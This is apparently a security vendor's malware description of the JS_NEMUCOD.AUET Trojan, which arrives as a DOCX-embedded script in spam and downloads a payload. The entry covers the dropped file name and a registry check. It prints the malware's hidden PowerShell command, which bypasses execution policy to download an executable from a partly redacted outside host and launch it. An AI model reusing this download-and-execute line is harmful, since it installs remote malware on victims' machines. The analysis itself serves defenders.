JS_NEMUCOD.AUET

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

• http://{BLOCKED}a.{BLOCKED}atinos.com/js90.bin?GRnuvHf

It saves the files it downloads using the following names:

• %User Profile%\AppData\RoamingXNe56.Exe

(Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000, XP, and Server 2003, or C:\Users\{user name} on Windows Vista and 7.)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

As of this writing, the said sites are inaccessible.

Other Details

This Trojan does the following:

• The malware uses powershell commands in executing its malicious routine:
  • “%System%\cmd.exe" /c ping localhost & powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://{BLOCKED}a.{BLOCKED} atinos.com/js90.bin?GRnuvHf','%APpdATa%XNe56.Exe'); sTArt-procEss '%appDAtA%XNe56.ExE'
• It queries the following registry entry and uses the 12th character of its data for its routine. It will not proceed with its intended routine if the character is not "F".
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir

NOTES:

This malware arrives through a DOCX file. It is embedded and will execute its routine upon activation by the user:

Upon execution of this malicious embedded JS file, it displays the following message box to trick the user:

It does not have rootkit capabilities.

It does not exploit any vulnerability.